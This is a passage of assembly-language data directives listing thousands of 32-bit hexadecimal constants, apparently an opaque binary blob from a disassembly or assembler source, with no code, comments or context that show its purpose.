0AACFC0B5h, 35008FF7h, 97295574h dd 21F91BEh, 0CF46413Dh, 4DE0EE17h, 3500DF84h, 9211ECCAh dd 873F9Ch, 0AF104B95h, 0E474F57Dh, 0A85BE839h, 0F900D41Ch dd 0D4F46557h, 1C035286h, 0EEA0EAh, 0E36CCF8Ah, 2300A4B1h dd 96F70FB5h, 262046h, 2AD581BCh, 4466DF88h, 0E5B4A91Fh dd 92134CC4h, 19F0ECC1h, 0ECA2C0h, 783525DAh, 0DC5B614Dh dd 4A62D800h, 6331AD11h, 0C11A0098h, 6435FB69h, 430020FAh dd 0B499FD6Eh, 5F408E8h, 67E2AEFh, 19286018h, 0D81DD90Ah dd 6DCF2B90h, 98B7C03Ah, 0E3BC40h, 744145B3h, 0CA9743CEh dd 75BB2C03h, 903CB4B7h, 0BCE037h, 0DA56286Ch, 0FFA86109h dd 0FC8DF430h, 0F9DCFBh, 5BBF95A9h, 0E70E6D9Dh, 47100706h dd 1E29AA4Dh, 40953132h, 0FC90C219h, 0A00094C6h, 0D1A3E0A8h dd 387BBAh, 0DBBD6D81h, 7FF95128h, 72FEEF00h, 16582CABh dd 3266002Dh, 0E7104D5Ch, 0BB002076h, 83B3FAB2h, 2633E6D8h dd 0B741E21h, 178510BAh, 19608058h, 6700EED0h, 831F3B34h dd 4892FBF9h, 14B0980Ah, 0EE00F459h, 6EBABEBCh, 3FEFD0FAh dd 21806C1Fh, 45997BCCh, 0A300EE23h, 59B326DAh, 4089BC5h dd 19DE16C7h, 738CD0E0h, 0F904215Ah, 0F501604Ch, 8B561AC0h dd 0AA7918ADh, 50829877h, 3F94FD00h, 0C50515CEh, 0BC810023h dd 48877CB9h, 4D00FE43h, 200B090Ah, 429227h, 51F603D3h dd 824E36Eh, 9C928BF4h, 0C3502DE6h, 0BA183588h, 21D93DA0h dd 0D7DD384Dh, 4490868Fh, 0F0E181C7h, 0F9183257h, 5826F601h dd 8DB60397h, 9802DCh, 610C7AAAh, 0E7E4A88Eh, 7D072000h dd 8D3EB96h, 0CA0B001Fh, 52B01092h, 691DE6A7h, 57C06150h dd 0E260D0B3h, 7C0D4CFAh, 0D2011Fh, 1DA881BFh, 2D00F39Dh dd 0B9FA3585h, 0BA3C0Ah, 17960844h, 0F88DC32Bh, 8718E000h dd 0EE2CD3D1h, 3B9200DDh, 1EC13480h, 8500A655h, 8EC61539h dd 58F77622h, 544C580Eh, 5FFE3C00h, 88FCB220h, 7D9F9D12h dd 0C0CC570Fh, 9BD1F38Dh, 4CC8BAACh, 41008C82h, 87CE86C1h dd 4800C010h, 6F7F9CD2h, 0E018Dh, 93C2127Ah, 0B32E73E5h dd 0CB75BA03h, 9BA5EF8Ah, 14ADD084h, 0B7D007D6h, 162D129h dd 0F879ACC0h, 42C6977h, 107D71Dh, 4C303C31h, 1749C5Fh dd 289526D3h, 0E0DB62B8h, 3A00C0D8h, 0B92DF7CEh, 1440389h dd 78D6FBB4h, 0FB6BC67Dh, 0AD4ADE90h, 0A8FAF100h, 60A6F2B9h dd 0B7BB0022h, 0BF876CD4h, 0B30451B2h, 1D3AFE5Ah, 7C228480h dd 0E36904E8h, 95BB5CCBh, 877A8088h, 88004798h, 39AB7329h dd 910C9165h, 0FDCB0574h, 0D194052Dh, 4830885Ah, 3B01049h dd 412546A6h, 7CD9D59Fh, 0B2B88B20h, 0D76C0010h, 82F8988Ch dd 0F8EFD860h, 1C06553Bh, 7D040BB0h, 0D3D00060h, 992035A7h dd 0C902CFEFh, 6CBB8376h, 203CB823h, 0E0544DE2h, 0C4E043CFh dd 0E85E1D90h, 9B50FA00h, 0D80FA193h, 701470BDh, 6C9406C9h dd 488B1FC1h, 431D0300h, 0F4DB8FB5h, 755F0057h, 465A17E3h dd 2DE407ADh, 0D03CBC00h, 0DACD1B08h, 89E500F7h, 0B551748Ch dd 1E042E14h, 30AE9707h, 0B8403D84h, 0C5167A20h, 4DE804E5h dd 0C2154FFEh, 24607EC4h, 0BF48CA48h, 2F80B10h, 0A3BC02DDh dd 1B0E202Fh, 0C80B03B0h, 8BC72A85h, 7DE10780h, 686BA6h dd 95A61845h, 61A521C9h, 85AF8718h, 881E78h, 0EFC2255Ch dd 0F6785509h, 11443100h, 530C560Fh, 24AF4CE3h, 0A37A1CA0h dd 9343A50Fh, 5DC9544h, 0BFFBF635h, 9E73BD04h, 0C3259890h dd 0D254284Eh, 0D4724CF4h, 856F703h, 9DC0CC60h, 86B8CD92h dd 0B0626913h, 48403Dh, 35C71C11h, 223F40DCh, 154E4A7Bh dd 0A42C9E2Ah, 681B8000h, 0E5AD4261h, 79FC00A7h, 55ED54E4h dd 0BC000ECFh, 2A8F1383h, 6C6312h, 0BADE1834h, 462CD053h dd 0B4AD2800h, 2F373EEDh, 30FC00A9h, 6DAA61F6h, 0FA90E7E2h dd 3242EC00h, 0A5E52233h, 0F8E60004h, 3BEA6A53h, 7A1EEE0Eh dd 0BB40BF83h, 0D61E1A5Fh, 58FCE084h, 963C9Bh, 4ACED81Ch dd 9C006DDAh, 0A10C9A22h, 0B8CC4926h, 4BCCA08Ch, 8C1E03E3h dd 0C8AC155Eh, 2C4868B8h, 82A2F33Ah, 4457257Fh, 304E091h dd 0EC90C0h, 751ABA36h, 4CBC7384h, 0A7EF9200h, 148C7DB2h dd 0DB3E126Ah, 31C8600Ah, 0CD5D629Ah, 2BBE866Ch, 0F33C0E59h dd 0D3451Eh, 0EE0AED00h, 18B02ADFh, 85106AEAh, 0B402F177h dd 38FF9A27h, 80AEF487h, 6954A5BFh, 0AADDF8A0h, 35800094h dd 6BFED895h, 0D0960026h, 0ABE21D44h, 781206D5h, 4800A14h dd 3511A82h, 0BE9F1866h, 87F83FE6h, 0A73070F3h, 55BB9076h dd 0E83D2883h, 5989298h, 2B5E7442h, 2648D4C9h, 0CDFCB048h dd 0E8680700h, 973DC12Bh, 9EC807B5h, 0F07160h, 6247209h dd 75C6E700h, 88EA3F61h, 63552E20h, 2C420074h, 8F2A4EE0h dd 7094F100h, 44AE71F7h, 22DCF195h, 866D00BCh, 3A0CE173h dd 0A00181E9h, 1E772DCBh, 0FD70702Ch, 743C007Dh, 0AE685F0Bh dd 0C038302h, 98E23449h, 0A903F050h, 60AD0088h, 6592D6E3h dd 0A0502432h, 0B0058EBh, 8B86FCD0h, 768277h, 284E42F2h dd 0C2799CD5h, 0E1F1841Eh, 7E05C040h, 0B8AB8C65h, 4FACE4BBh dd 0B20800D6h, 119EA25Eh, 299DE707h, 633F0F97h, 0D8AB8218h dd 19C3912h, 6A722A66h, 0E12410A1h, 3799DCF7h, 2754130Fh dd 8D0260B1h, 1CCF0F93h, 4035CE92h, 8CD9523h, 4F01C33Dh dd 495554F5h, 78835B09h, 0CA50E790h, 0DDF6288h, 0D401B600h dd 0D694A7F3h, 0F030EB88h, 0CB5FCA5h, 311FDED9h, 0AC78AF10h dd 0CAED881Fh, 62208219h, 0C067BAC8h, 0FD52F458h, 12003AA0h dd 42D1F7B8h, 51AAC2h, 0C33877D3h, 0BE9BCE69h, 0F0F820B2h dd 78031AF6h, 0C1A9057Eh, 0C3402CFEh, 44B03A04h, 0B86EC759h dd 0BB478706h, 1784B2Dh, 0FA5EA5C8h, 4093CA25h, 697E83A8h dd 0A6389200h, 30D0F794h, 0E6F885h, 0DA0997C3h, 0CEF8CF4Bh dd 19C8D701h, 664EAB42h, 0D080F0E5h, 845C40FAh, 0B3006A4Ah dd 5F8D29C5h, 3BDE78h, 38862C16h, 6CF21806h, 199F491Eh dd 0CA0058D7h, 12D07531h, 0BC8A07DFh, 302F607Ah, 667C2E0Bh dd 40F8B100h, 98AE35B2h, 71AF00F2h, 1B3CDDCCh, 40008E8h dd 22D4A0A2h, 0E2A124AAh, 1E7400FEh, 0AFB73EFFh, 310FF7B6h dd 27E9DC08h, 63B0D544h, 0AC59C7h, 0C26C185Dh, 0F27597D6h dd 0C9F42200h, 9BC51469h, 0D5810031h, 2D806A8Ch, 0DC00E134h dd 2E89657Fh, 0B29AFE9Fh, 53CD0E10h, 9F561392h, 9069F70h dd 10D1B1h, 0F6BC4307h, 75210222h, 481C1407h, 1894D61h dd 4A42FAC3h, 1A78E3h, 685056DAh, 4147E11Bh, 0C75A6500h dd 42E43B22h, 54940B14h, 0EC80D8F0h, 0FBB0D78Dh, 0C707389Ah dd 0C3502A37h, 6129F3C2h, 82C0D884h, 35C100B3h, 20477EADh dd 0C60330BCh, 0C9E13707h, 1FA0F07Bh, 12CF038Ch, 0C2902071h dd 3819BEB0h, 0E155104h, 0BDC0F340h, 77D614BAh, 5AF638B4h dd 2CA402CBh, 0FFF3BC2h, 0C8028096h, 3DFB6153h, 401FD529h dd 0D43E7033h, 0D000B335h, 0F2EC78C5h, 0FE75F41Ah, 0B58C48D1h dd 395C4900h, 0DE61D89Ah, 0E500A677h, 0C277E387h, 1C88F09h dd 2893CC01h, 0F45642E0h, 0D5016679h, 96F02152h, 28347E95h dd 98185C31h, 0D95A2300h dd 70BA56B2h, 40CF6601h, 16A895B0h, 1ED3860h, 882F0AE5h dd 0CC744C7Ah, 2A0BA74Bh, 8196A2F5h, 9A456BEEh, 0A141460h dd 0D0BADF38h, 588081F0h, 408D189Dh, 84793CB4h, 0CF174000h dd 3EC8F7A1h, 0FD870127h, 82AD9A1Eh, 7F28FC44h, 7EAC7C3Bh dd 626DBA00h, 675081F7h, 1A46003Ah, 0D3782855h, 0B25CB8F1h dd 80A93DDEh, 0F317E8C9h, 0B2B0D697h, 0FEBB0070h, 84E79ADh dd 46005EB1h, 42027482h, 3BF65196h, 17E6B53h, 0B09C1AC4h dd 818E3B9Bh, 6ACC04C8h, 0BF70472Ah, 8BE27Ah, 5A62560h dd 1195A839h, 0B39F5F00h, 8A80BA0Ah, 42971844h, 0D5B278F7h dd 6DB1A313h, 7F32509h, 0CA80DF0Eh, 0FD9EE7h, 13D0F45Ch dd 9909CFAEh, 8D217E04h, 28E0A14Eh, 0A20A0017h, 2ED1CCBh dd 0B5005E36h, 64FE352Eh, 98B07FBFh, 0CC3100C8h, 284A2D79h dd 0BE0F5AC0h, 0F4DF5D3Eh, 6CF30BFCh, 9B3420B2h, 0F07426h dd 0B7B5BBA0h, 72BCC819h, 650C5301h, 2F68ABCDh, 0F1202CC1h dd 321E3133h, 28263BA0h, 0EE007658h, 0D2F615B1h, 471D21h dd 8572549Ah, 8D7EED45h, 0B84E5200h, 0D0AFD256h, 22251E93h dd 0F40D000Eh, 4919F9CDh, 0E8454300h, 2CF8DD4Dh, 32750026h dd 6A615EC3h, 0B5390ED7h, 0A8D8808Ah, 0FE8491C1h, 80CB0145h dd 0E3D1D402h, 1AF03451h, 0C3003094h, 0D2348B2Ah, 5B080BA4h dd 58A3519Eh, 5F8DDEEh, 0A53B8C20h, 0CAE780B5h, 3AB0BD7Dh dd 5461032Dh, 2C21C96Ah, 0F468B08Ch, 2A90AF03h, 9FDC954Fh dd 8B707A00h, 394D260Dh, 5CED0350h, 57B8BE34h, 45098F06h dd 80948068h, 1D64A0EFh, 0AD3707E9h, 8022CB48h, 542A7F53h dd 0ED02BC00h, 5B34DED0h, 44F0012h, 0B7CCD4ECh, 0E1F85F6Ah dd 1F5E63Fh, 1AB00E61h, 11C88F7Dh, 7E6B38C9h, 6FF1EC07h dd 0EE023317h, 242E8D88h, 0AEE5DE00h, 0B17B1655h, 35F83994h dd 9741C7F5h, 15F9E61h, 5F908174h, 4562D084h, 0F5A96703h dd 98E1CD1Fh, 78B39EB9h, 97782CFEh, 0CA690049h, 0DDB0F7B2h dd 0EAD12F00h, 8104506Ch, 0D69D0B97h, 9A8156CDh, 0C04066BAh dd 2A01E1FEh, 0B74AA5E7h, 60C13618h, 2A9A4E4h, 401C8F6Fh dd 0AD839E41h, 0B1B0EF47h, 1539A0E3h, 26120565h, 890E2B2h dd 74F0B61Bh, 98A900F9h, 714DD374h, 72004F0Ch, 0E752268Eh dd 17CF50DFh, 0B350E41h, 7480B4F0h, 2DA669E1h, 3B0064E4h dd 8FCF552Eh, 77AD4BD7h, 0D0924C4Eh, 5015B401h, 0D7E9701Eh dd 60C474D1h, 4103EE9Bh, 0D9E60D0Ch, 5090F0CFh, 0C70209F7h dd 90C0FC47h, 3F755AC5h, 0B465451Fh, 0E0210E80h, 401A5Ch dd 0C66F8977h, 5725184Bh, 0BA7CCE1Dh, 1222F340h, 0B88BE0Dh dd 69C78E6Fh, 36604383h, 3E66D6D8h, 0D5C39A2Ch, 0F7111030h dd 184A7F4Bh, 2951C55Dh, 0D7054756h, 0CB7DDF83h, 3C2F9880h dd 977F2C7Eh, 2902ED3h, 0E598090Ch, 378F4043h, 8C45D09Ah dd 3703B1E0h, 8B54293Ah, 0F134B19Ch, 75BD9F4h, 5D6EA1F6h dd 56A692F3h, 40B4A069h, 9ABF47ACh, 0A11BD001h, 7AC30942h dd 0A9A2E8h, 55E851DCh, 2D5EB08Dh, 0AA12890Bh, 0E5678098h dd 0C840B9h, 0C1CDB304h, 0E322D3F8h, 96C22100h, 31AB146Fh dd 50DD0085h, 0AE1001FAh, 500E00Bh, 21173891h, 0B2D6EDh dd 0A5184CCh, 376E3BC5h, 993A1D1Eh, 420B1480h, 7B1CBBh dd 76C49347h, 34DB674Bh, 0F374B400h, 203B5ACFh, 0FB941D8Eh dd 0D79A0069h, 377CC710h, 3D4F5900h, 6431D4B0h, 85833E54h dd 9880A53Bh, 0EF67BF6Fh, 0F601CBB4h, 7D84BCC2h, 1A204DECh dd 83D41E68h, 981C44D5h, 0A228C59Dh, 0AAD08024h, 0BBB2833h dd 2634A8F6h, 20BFC107h, 0B783DBDAh, 8595Dh, 541DE6C9h dd 727DBCC0h, 0F656FC7Eh, 5A4B742Dh, 7E105D09h, 35D9EC00h dd 57C93DD4h, 18634800h, 0D8A824E6h, 97BB1858h, 0D3894851h dd 0E15DB273h, 654300B4h, 3E7BD78Eh, 0E72B0FFAh, 0A840E0E3h dd 0C436FC19h, 0D700A975h, 41F80C61h, 26668Eh, 0C13562B0h dd 1C347240h, 0A3A13Bh, 337AB6F6h, 2FB2E2Ch, 0D9014FA5h dd 0F850E40Ah, 0B1BB471Fh, 0FFCCB306h, 3F01781h, 40381794h dd 0AC7FA5C8h, 0D90333C8h, 0E79A5E59h, 0C3D0D08Eh, 0DF542638h dd 0A52A00B7h, 27B2828Bh, 0A761E560h, 0E8F564ACh, 7D2612CCh dd 0E950D06Fh, 0C64CA0FFh, 604B301Fh, 126CA5B2h, 90FEF7FAh dd 925B0CF8h, 94A4E80Dh, 57F54859h, 60BD24F8h, 0C27EB1B8h dd 0D7004CBAh, 56F0BFA3h, 6749E1h, 0D509CD31h, 66B8B7B9h dd 0A105F82Ch, 0FBDA9B00h, 0CD38A4h, 4D51E698h, 0B246334Ah dd 6BADC07h, 343194FCh, 0B520D46Ah, 9AD300A8h, 69871129h dd 9200A1B8h, 4FAE8EA6h, 2392780h, 6F9ACE14h, 607D22FBh dd 0ECBEBF8Dh, 17C03947h, 0C5DAD300h, 3DDC2B0Fh, 2D10700h dd 6E1A0D9h, 0A8100025h, 0FA5C46B2h, 553B6894h, 811B009Fh dd 9AB0C3FEh, 0BFE600ECh, 860FC199h, 42005744h, 0D8A7F9B1h dd 80ACE3h, 0FBA3F204h, 9DB58EC8h, 0DDD9CD01h, 0FF5637D6h dd 0E51CA850h, 0A5270EA6h, 7DC6B5BFh, 80FB0887h, 9AF84321h dd 79388Eh, 747DBEDCh, 807A0D45h, 0DA00E896h, 0BA142EB8h dd 6A907750h, 0D0684Eh, 0C7B0850Bh, 0B8E85E65h, 0FD798D16h dd 803100Ch, 0B74D0062h, 0B495796h, 68006A8Ah, 0D96765FEh dd 0D854E7h, 368CD5EBh, 0DD0C7D52h, 99EF0E30h, 1731EEFCh dd 40450829h, 212FF028h, 2383A60h, 92CD19C2h, 782C9908h dd 211FFA00h, 692C3942h, 0E9335A00h, 531D1405h, 0B8D0D886h dd 0C1054B46h, 72B8AD12h, 0D71C1C6h, 0D1018A5h, 0ACE9E018h dd 0D988AF00h, 0BA7B7682h, 156B1E5Fh, 0FEB8C0E5h, 0F7D63121h dd 0B9483F00h, 0FAE6AA47h, 0DCB100E2h, 81C55528h, 5100F166h dd 7215421Dh, 6E6C8F5h, 1FF0FC9h, 71002E39h, 82029DD7h dd 7603404h, 45893CCAh, 8F16301Fh, 0C9009201h, 38B0E98Bh dd 5A9790h, 0EA5FC5DBh, 0F4B9282Dh, 8ED05600h, 0D2412A74h dd 0C2D50023h, 77E735EEh, 0DE00BAE4h, 0AA5F27C5h, 1F6C0F14h dd 40C32FB3h, 0F3363848h, 59283991h, 2B00F4C5h, 0EDF1337Fh dd 31A79Dh, 951BD665h, 2F948A7Ch, 8C607473h, 59551D41h dd 7B471E17h, 69B1FAEh, 209C1432h, 0BAD8AF00h, 0FB5193FAh dd 33A300DDh, 98DACC4h, 5F0047D1h, 0F612CF29h, 1DA43191h dd 0B90CD26Dh, 5E2EEA8Bh, 0BA60E200h, 0E700787Bh, 98E4FC31h dd 60A96120h, 916E195Fh, 3A02BB17h, 5328FDEEh, 7E600EBDh dd 0F8A7EFADh, 30BB4D30h, 398AA3h, 0E940E291h, 318B230Dh dd 74F47A1Ch, 0A5083FBh, 7C5A9AC9h, 3ECC79F8h, 8C005D09h dd 0B780C47Ch, 0FF073E17h, 58EE2492h, 0E54E88Ch, 42B99BE9h dd 3B8CC68Ah, 0A682EA80h, 6DBA3026h, 990014FCh, 0C7812BECh dd 190CF9h, 888C90EBh, 0F4B77F35h, 0D71AA328h, 9F247E00h dd 18D0A93Ah, 0FDB7CEAh, 3E7AF46h, 82A4E000h, 880004F4h dd 8519B2BEh, 710437Dh, 7C92CB20h, 8DC190C2h, 4A018F72h dd 0CA05A5DFh, 0A6F09987h, 69B400BEh, 6F135284h, 0FD00DF04h dd 0A486F1D6h, 0CE0175Bh, 0A2C5D08Bh, 0B2002D28h, 0E46A5340h dd 0CCA33h, 0D56DB0F9h, 54252148h, 0EB682E00h, 236C8862h dd 0CFA614DDh, 153CC95Eh, 0D5EEE200h, 4B61B498h, 0AF0360E2h dd 3782855Ah, 4983E15h, 0C65EE00h, 780E9BEh, 9C187460h dd 0FD2EF5h, 250AED64h, 0FEDAE0D1h, 70A4E100h, 0F6FC1E9Dh dd 19140099h, 90E68502h dd 6E7EA2E4h, 9208FA00h, 9DBEEA1h, 9B1500E1h, 0FF9AA014h dd 0A0C32768h, 818B3350h, 52F8ADE2h, 7884604Fh, 28F9A238h dd 498DD700h, 0C1915B75h, 4EC1FCDh, 61B200B8h, 0ABA3D6A1h dd 638A0501h, 731015A5h, 0BD16ED40h, 907F00FEh, 71DB2776h dd 0BD98D3E9h, 8075233Bh, 0C142EA8Ah, 1B8C44BFh, 606CA7CBh dd 84497EC0h, 0AE321E00h, 0FEF1BC8Ah, 5C03080h, 84549821h dd 49F8A24Fh, 0CD502E05h, 0A21806Ch, 0F037CF1h, 0F276DB21h dd 5E300082h, 5F088F29h, 0F438BD91h, 0AA4865h, 6A9A3585h dd 38159FA3h, 91D4A37h, 60838378h, 486C1180h, 0C457840h dd 894CE25Ah, 4F00DF11h, 0EE47D25Bh, 3A3CDD1Eh, 0B33086A6h dd 5FE1FA21h, 550A6702h, 0E0787246h, 18AD2B1Bh, 50DB1C9Ch dd 4864906h, 64BE5BEBh, 20B0628Eh, 7334CDEEh, 22E99500h dd 822D42CEh, 5A58C083h, 5C13A98h, 0A802ACA2h, 4618A89Ah dd 33950484h, 21BEAA16h, 9D001BD9h, 60008451h, 0CFE43C9Ch dd 655A4F2h, 5B1C928Fh, 710081C4h, 1D5ABBDBh, 5C86Fh, 0C78D8E8Ch dd 80A30A1Fh, 3E49D900h, 43C44B6Ch, 0C84100D1h, 0C3B32696h dd 7E3C94A5h, 874F802Bh, 0F5E9C224h, 0FCEE8Dh, 0B6DFE5CEh dd 90A998B2h, 0D3E33D1Ch, 923E78C1h, 8AF0AB51h, 0F266586Fh dd 12810D01h, 708DE816h, 0F900510Fh, 0A7296A6h, 0C57AE3h dd 0A12CC141h, 47422986h, 6C1CD803h, 8062309Ah, 0FAF17F3Ah dd 3E8A00FFh, 8320AA44h, 0B4711485h, 0F53C7706h, 63845C3h dd 427C400Eh, 0E00049CEh, 550F2883h, 1D64EC1Ah, 0CE91278h dd 37209649h, 892F5B00h, 570AF8AAh, 7C23F602h, 0CACC055Ah dd 80486741h, 0E745C021h, 83888200h, 9ECF74EAh, 86D62C9h dd 364039BDh, 88017EA5h, 1B963A2Bh, 29E0AAA9h, 0BBEA1EF7h dd 4525010Eh, 8C8EC4B4h, 596D93F8h, 503601C1h, 8AEE783Eh dd 0AA8DE406h, 119D8402h, 80577F19h, 923A9A4h, 87D300BDh dd 80EEA8A1h, 0D6509281h, 1B07F9ADh, 0CD0E2CD9h, 0A68B1CE1h dd 0E7FFAE40h, 15D600D0h, 7B36CEEEh, 7E03286Dh, 65EF2C2h dd 69BDB864h, 0C5E2003Ch, 58DF4393h, 4D0061D5h, 0A5241298h dd 53F4AFh, 8F9D282Ah, 0D94079F7h, 7C672500h, 0D0AF30A2h dd 3CD738A7h, 0AB2CAD83h, 830A531h, 92F1216Dh, 141B0E5Bh dd 0BC07965Dh, 0E688D321h, 0B0AEA601h, 10CF30F1h, 0C326F4DCh dd 0D2250CFEh, 0AD270818h, 3F29020h, 5B2E39E0h, 8BC85CC7h dd 7618C4FAh, 4268B93Ah, 4C3752D9h, 0DE5B8903h, 31E47D3Bh dd 1700EFF4h, 6D00CB1Fh, 0B6371899h, 3030AB8h, 0E80B38A0h dd 35A056A8h, 947FB0AFh, 0C3A8A760h, 3F914912h, 95034A13h dd 6E74BCF4h, 2FF2A4B8h, 26B76B01h, 0B49F3B2Eh, 0E941B8B0h dd 41F0B191h, 0DBE79000h, 0BDD43DC0h, 0F9AD00EBh, 0A54A30B3h dd 7651C52Bh, 0FD31F2B0h, 2B3472C8h, 806435DDh, 0B4CB17BBh dd 0D50056D3h, 21347053h, 0B890D2CCh, 0B8C0721Ch, 29B48860h dd 737D3Ah, 0DA33E2FEh, 0C11C4EC9h, 51E9E8E4h, 0C58DCCCh dd 8A263902h, 0C887FA10h, 0FF6E80B2h, 0DF4285E0h, 0CF284A63h dd 0B2D7B093h, 0B830054Fh, 1F7F6h, 6F52288h, 0DD3BA99Ah dd 401294A0h, 44420089h, 945AFAE9h, 0BE4900D0h, 2BEE371Dh dd 0F5249BCDh, 0F8009281h, 3D96E3F9h, 896000E0h, 0ECC366C4h dd 4900C6ADh, 394AC941h, 5D6874h, 0F638BE9h, 7D097637h dd 0D6517A00h, 6E2B70C1h, 0BCF60054h, 7FF746CEh, 0C00C3201h dd 748E9581h, 0CC1B006Eh, 54451B8h, 0E160CDF4h, 71920C19h dd 0F2E30004h, 0C4C7BACFh, 5607BFBBh, 7C0BDE2h, 0BC6E2E41h dd 68BD23E1h, 0E4E61180h, 27B1D8C7h, 0E8EF9100h, 0B7DE019Bh dd 910469D6h, 582DC701h, 0A756D07Ch, 1E55BB00h, 768B6949h dd 0ECD269Dh, 0B630012h, 0A37CFFD4h, 5B80E100h, 0C44CF2B3h dd 0DA1D0277h, 11235266h, 0A727D960h, 2073C300h, 970BC0Ah dd 92F70FF3h, 5380A6AEh, 75540B80h, 0BB7B071Eh, 0FE22583h dd 0C43EE09Bh, 32AA13BDh, 0BD02FBD1h, 80733174h, 9CD8D088h dd 78F9007Ah, 0CDE6F854h, 8100DA32h, 39F0EC8Fh, 0B0B72E8Ah dd 347E0172h, 5FCB35F4h, 7D6CF41Ah, 0F1F86E1Ch, 0D57374C0h dd 32C97BDh, 0ADAF0C6Fh, 801798D2h, 0CA005AA1h, 0ED7E65FFh dd 435F00E6h, 500740A5h, 49079117h, 6639258Bh, 3BF41D61h dd 5FE99840h, 62610063h, 94BDCFEEh, 0E5662644h, 218408h dd 784AEC66h, 2DFDEECAh, 0BF1C7C00h, 6E98269Fh, 0AE7D0044h dd 51433454h, 10EAEE39h, 0B1098B00h, 26BEE1B6h, 28B1FFF0h dd 0D00E4351h, 0F9603894h, 0A29880A9h, 92A5001Ah, 0AA7B4DB3h dd 1324AA4h, 0F5BB20E7h, 5C4648C0h, 280E8E70h, 9827B615h dd 1A67C51h, 2BDBD9D5h, 0D80E03B5h, 1832CB97h, 95147811h dd 0E5B28838h, 4002A062h, 67D3AEF0h, 30934836h, 8B0CF5D7h dd 86AC6D1Fh, 204300BCh, 65E33FE9h, 0F80BFCA6h, 17C433B9h dd 21005C08h, 0F92ABA29h, 0E887CED0h, 90810803h, 890F3408h dd 1CEBE009h, 1E59CA3h, 0C5AC6A2Bh, 80A96744h, 1DE7A270h dd 187CED68h, 0AC979F91h, 5700A893h, 0B3267E0h, 6822EAh dd 107BAEC5h, 0EF051BA0h, 6B1EAC00h, 0F29885F7h, 0FF0E693h dd 2C4178EBh, 5E826A42h, 7D2AAA60h, 5830E000h, 0FFB3FB55h dd 0A82C0CA2h, 4ADC2E4Eh, 7081330Eh, 80F6009Eh, 0EDC735h dd 448697FFh, 41FA5BAh, 0E7E7C13h, 638BE0h, 39F67BE0h dd 2C885E7Fh, 72ED8F00h, 832B73A4h, 9770DBh, 154F32DDh dd 1A3E12F4h, 6CD37103h, 7665E5EBh, 41DA6018h, 0EC6FDC34h dd 33913D07h, 4400674h, 90398DB5h, 2A86010Dh, 0B959F29Fh dd 80D3E168h, 3B048238h, 0E02D05F1h, 61210095h, 0B45634C6h dd 880033B7h, 0E52CFCD3h, 7643A0Eh, 93C3AB69h, 2A00EE2Eh dd 0C5841282h, 0DEA86607h, 7970EDBEh, 65E0EE4h, 0D9D7C808h dd 0D0048EAh, 4DBCFE27h, 0C70A7FC2h, 10F4B320h, 0D06FB7FFh dd 0ECFDE900h, 0FCAE5160h, 9B753D02h, 407FCD00h, 5FE08832h dd 760A3700h, 451BCFBDh, 309B0ED4h, 0FD89C2h, 95E8662Bh dd 51184613h, 318F083h, 84CE00ADh, 0B245F82Ah, 500027FBh dd 0ABF9A205h, 447521h, 0AF8C8A11h, 0B4DC770Ah, 94053400h dd 0D01ED190h, 0F1071E30h, 0D6BC0693h, 0C6002889h, 0D852B887h dd 667EAEh, 0D7E0AB61h, 0DF70DE95h, 2D574E0Fh, 93EC20BCh dd 7ED8AF18h, 0F6170090h, 0FBA7E17Eh, 5E005A95h, 0A387DF01h dd 1DA59EDh, 96DD3716h, 3038F618h, 3C0099CCh, 0DE3F06B6h dd 7635602h, 0C567E974h, 97ADB1A1h, 6A82C0AFh, 0B009B800h dd 1E18A591h, 7F87625h, 511C9E98h, 9BB84001h, 0C00024C5h dd 317384ECh, 30A4E4h, 1BD85579h, 38CF9A3Eh, 6D5E3F00h dd 4AA7E6ADh, 996B00EBh, 0FE8811AEh, 14003603h, 96715E37h dd 0ED9C62h, 216D27F5h, 8238012Ch, 0E1EBD803h, 0F0C55C42h dd 1503B63h, 0CB1C408h, 0C0B60347h, 410038BAh, 81CFD02Ah dd 1C9839D3h, 4E62F6E5h, 1F4004A2h, 0AEB621D8h, 3500200h dd 0F39A8472h, 98370045h, 190B0EFBh, 8B0015E9h, 48625FA5h dd 0CE8F04h, 7B6E7655h, 0BBD147A3h, 1C708E48h, 0F5C0DBC1h dd 0E201593Ah, 76390FB3h, 0E654ECC6h, 0D9DC3800h, 0B771D461h dd 0B41EED00h, 98EF3235h, 0B9080FF5h, 36800244h, 2E60CBF1h dd 0A4790507h, 9C904972h, 71AD59A5h, 0EA5507DBh, 82014E65h dd 144068EBh dd 36022615h, 0C141D263h, 20C8AAFAh, 0BF046814h, 5D26507h dd 0CC40C0BEh, 1B007EA6h, 7CA13FDFh, 0F51D36Ah, 442A810Ah dd 94123820h, 9231674Ah, 0AF0B2877h, 75C35212h, 39952811h dd 36BDF208h, 19822710h, 590283D4h, 31922858h, 12A7B329h dd 56AD10FDh, 89613388h, 0C128402Fh, 318080CCh, 0EB1140F7h dd 2272D620h, 5B31AEFBh, 0A92529B6h, 6CD08F10h, 28425781h dd 0A9648710h, 621A29CCh, 0AA379BAh, 0A2133C22h, 2E413D8Ch dd 9F79D70Ch, 0F99C40h, 3311D31Ch, 6C1C613h, 0C52A5A00h dd 9470BEEFh, 87710069h, 655BF636h, 0C80123CFh, 6A05D8E2h dd 48801ABBh, 0D9B0905Fh, 4E0E5D30h, 60E46C87h, 0EEC5B432h dd 0E81001C4h, 7393FCEh, 0A5BDE8B7h, 0D1314100h, 532783F2h dd 955900C4h, 44E1DE5Ch, 8800D59Dh, 1EF65A9Bh, 0E2350Dh dd 6D87315Dh, 96D1DB84h, 404824E9h, 8565F303h, 0C091FDF0h dd 770C9E31h, 3EF51C8Ch, 6DB40F58h, 0D9A9AB40h, 0F100D185h dd 0BF8156C4h, 0E44E8D3Eh, 330E072Ch, 0A0199D31h, 1CB193AFh dd 0E5F7B50Eh, 5F66408Ah, 7E0FCE71h, 0FF9F0008h, 0D8218EB2h dd 0E0C7A9ACh, 0F6E0A462h, 5081ECh, 0C197C042h, 0E7EF87A1h dd 837DB200h, 124B74BFh, 3D3E00DDh, 9C6A491Ch, 4201D801h dd 4461A4CDh, 0CBECC26Fh, 51A2C07Ch, 0DF5A1ACFh, 526338F8h dd 99442246h, 0CDC82116h, 40540069h, 0CA6014BBh, 1D001826h dd 5649B433h, 39CD1B22h, 0BC80DE71h, 0BBF77B36h, 0E107C250h dd 0F12046FAh, 38C60DEh, 0C4CF7Fh, 0DF55B480h, 92739C50h dd 326F860Bh, 200D72Fh, 9E4D7C4Ah, 6400D7EAh, 6EF4CB93h dd 69A813h, 0A537DAC7h, 847A3B01h, 4EBF5300h, 0A147CF68h dd 552C00DDh, 237152C5h, 287CFBE5h, 4284500Ah, 